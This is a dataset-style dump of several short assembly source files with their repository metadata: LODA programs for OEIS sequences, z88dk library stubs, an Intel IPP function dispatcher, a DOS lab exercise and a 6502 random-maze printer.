; 1,3,7,91,21,31,43,57,73,91,777,133,157,183,211,241,273,2149,343,381,421,463,507,553,4207,651,703,757,813,871,931,6951,1057,1123,1191,1261,1333,1407,10381,1561,1641,1723,1807,1893,1981,14497,2163,2257,2353,2451,2551,2653,19299,2863,2971,3081,3193,3307,3423,24787,3661,3783,3907,4033,4161,4291,30961,4557,4693,4831,4971,5113,5257,37821,5551,5701,5853,6007,6163,6321,45367,6643,6807,6973,7141,7311,7483,53599,7833,8011,8191,8373,8557,8743,62517,9121,9313,9507,9703,9901
mov $1,$0
add $0,1
pow $1,2
add $1,$0
mul $0,2
sub $0,1
gcd $0,7
mul $1,$0
mov $0,$1
| 46.5 | 468 | 0.717358 |
57239427f8afa6c985465e6534cd17c3fbec7d51 | 208 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc___fs2ulong_callee.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc___fs2ulong_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc___fs2ulong_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_am9511
PUBLIC cam32_sdcc___fs2ulong_callee
EXTERN asm_am9511_f2ulong
EXTERN cam32_sdcc_read1_callee
.cam32_sdcc___fs2ulong_callee
call cam32_sdcc_read1_callee
jp asm_am9511_f2ulong
| 18.909091 | 35 | 0.879808 |
68bda4103a6361614671ad7a0ca62f7b5800fa5c | 1,109 | asm | Assembly | _build/dispatcher/jmp_ippsHashUnpack_rmf_8d720232.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | 1 | 2021-10-04T10:21:54.000Z | 2021-10-04T10:21:54.000Z | _build/dispatcher/jmp_ippsHashUnpack_rmf_8d720232.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | _build/dispatcher/jmp_ippsHashUnpack_rmf_8d720232.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | extern m7_ippsHashUnpack_rmf:function
extern n8_ippsHashUnpack_rmf:function
extern y8_ippsHashUnpack_rmf:function
extern e9_ippsHashUnpack_rmf:function
extern l9_ippsHashUnpack_rmf:function
extern n0_ippsHashUnpack_rmf:function
extern k0_ippsHashUnpack_rmf:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsHashUnpack_rmf
.Larraddr_ippsHashUnpack_rmf:
dq m7_ippsHashUnpack_rmf
dq n8_ippsHashUnpack_rmf
dq y8_ippsHashUnpack_rmf
dq e9_ippsHashUnpack_rmf
dq l9_ippsHashUnpack_rmf
dq n0_ippsHashUnpack_rmf
dq k0_ippsHashUnpack_rmf
segment .text
global ippsHashUnpack_rmf:function (ippsHashUnpack_rmf.LEndippsHashUnpack_rmf - ippsHashUnpack_rmf)
.Lin_ippsHashUnpack_rmf:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsHashUnpack_rmf:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsHashUnpack_rmf]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsHashUnpack_rmf:
| 28.435897 | 99 | 0.801623 |
3534a89339df616ba2b8f94f8e10cfef98607daa | 340 | asm | Assembly | programs/oeis/122/A122754.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/122/A122754.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/122/A122754.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A122754: 10*n-A101306(n).
; 8,15,20,23,32,39,42,43,50,51,60,63,72,79,82,89,90,99,102,111,118,119,126,127,130,139,146,149,150,157,160,169,172,173,174,183,186,193,196,203,204,213,222,229,232,233,242,249,252,253
lpb $0
mov $2,$0
sub $0,1
seq $2,72003 ; 10's complement of final digit of n-th prime.
add $1,$2
lpe
add $1,8
mov $0,$1
| 28.333333 | 182 | 0.661765 |
1c22745d6a71bde75a3e8e75c7fb065cd323edc6 | 226 | asm | Assembly | Checkpoints/chk9_2.asm | richardhyy/AssemblyLab | 7e0ba3800f3db1e2f5d616ca89905963d1da0996 | [
"MIT"
] | 3 | 2021-06-26T14:52:16.000Z | 2021-11-23T03:48:48.000Z | Checkpoints/chk9_2.asm | richardhyy/AssemblyLab | 7e0ba3800f3db1e2f5d616ca89905963d1da0996 | [
"MIT"
] | 1 | 2021-06-26T14:12:21.000Z | 2021-06-26T14:18:54.000Z | Checkpoints/chk9_2.asm | richardhyy/AssemblyLab | 7e0ba3800f3db1e2f5d616ca89905963d1da0996 | [
"MIT"
] | 4 | 2021-11-30T06:06:08.000Z | 2022-03-16T03:55:42.000Z | assume cs:code
data segment
dd 1,2,3,4
data ends
code segment
start: mov ax,2000H
mov ds,ax
mov bx,0
s: mov cl,0
mov ch,[bx]
jcxz ok
inc bx
jmp short s
ok: mov dx,bx
mov ax,4c00h
int 21h
code ends
end start | 11.894737 | 19 | 0.668142 |
d62a1bf12dbea069e368c3ee1da6805b5403e976 | 186 | asm | Assembly | libsrc/_DEVELOPMENT/adt/w_vector/c/sdcc_iy/w_vector_capacity.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/w_vector/c/sdcc_iy/w_vector_capacity.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/w_vector/c/sdcc_iy/w_vector_capacity.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; size_t w_vector_capacity(w_vector_t *v)
SECTION code_clib
SECTION code_adt_w_vector
PUBLIC _w_vector_capacity
EXTERN _w_array_capacity
defc _w_vector_capacity = _w_array_capacity
| 15.5 | 43 | 0.860215 |
4714826df1c771030aef5902f2d5eefb35747733 | 154 | asm | Assembly | asm/ranmaze.asm | rhoem1/65co2 | dd510f8f5afec4bbfee3f5d003e7dbeb3ca8fb1f | [
"BSD-2-Clause"
] | null | null | null | asm/ranmaze.asm | rhoem1/65co2 | dd510f8f5afec4bbfee3f5d003e7dbeb3ca8fb1f | [
"BSD-2-Clause"
] | null | null | null | asm/ranmaze.asm | rhoem1/65co2 | dd510f8f5afec4bbfee3f5d003e7dbeb3ca8fb1f | [
"BSD-2-Clause"
] | null | null | null |
processor 6502
include "apple1.inc"
org $2000
loop
lda HOSTRNG
bmi slash
lda #47
jmp print
slash
lda #92
print
jsr ECHO
jmp loop
| 8.105263 | 21 | 0.649351 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.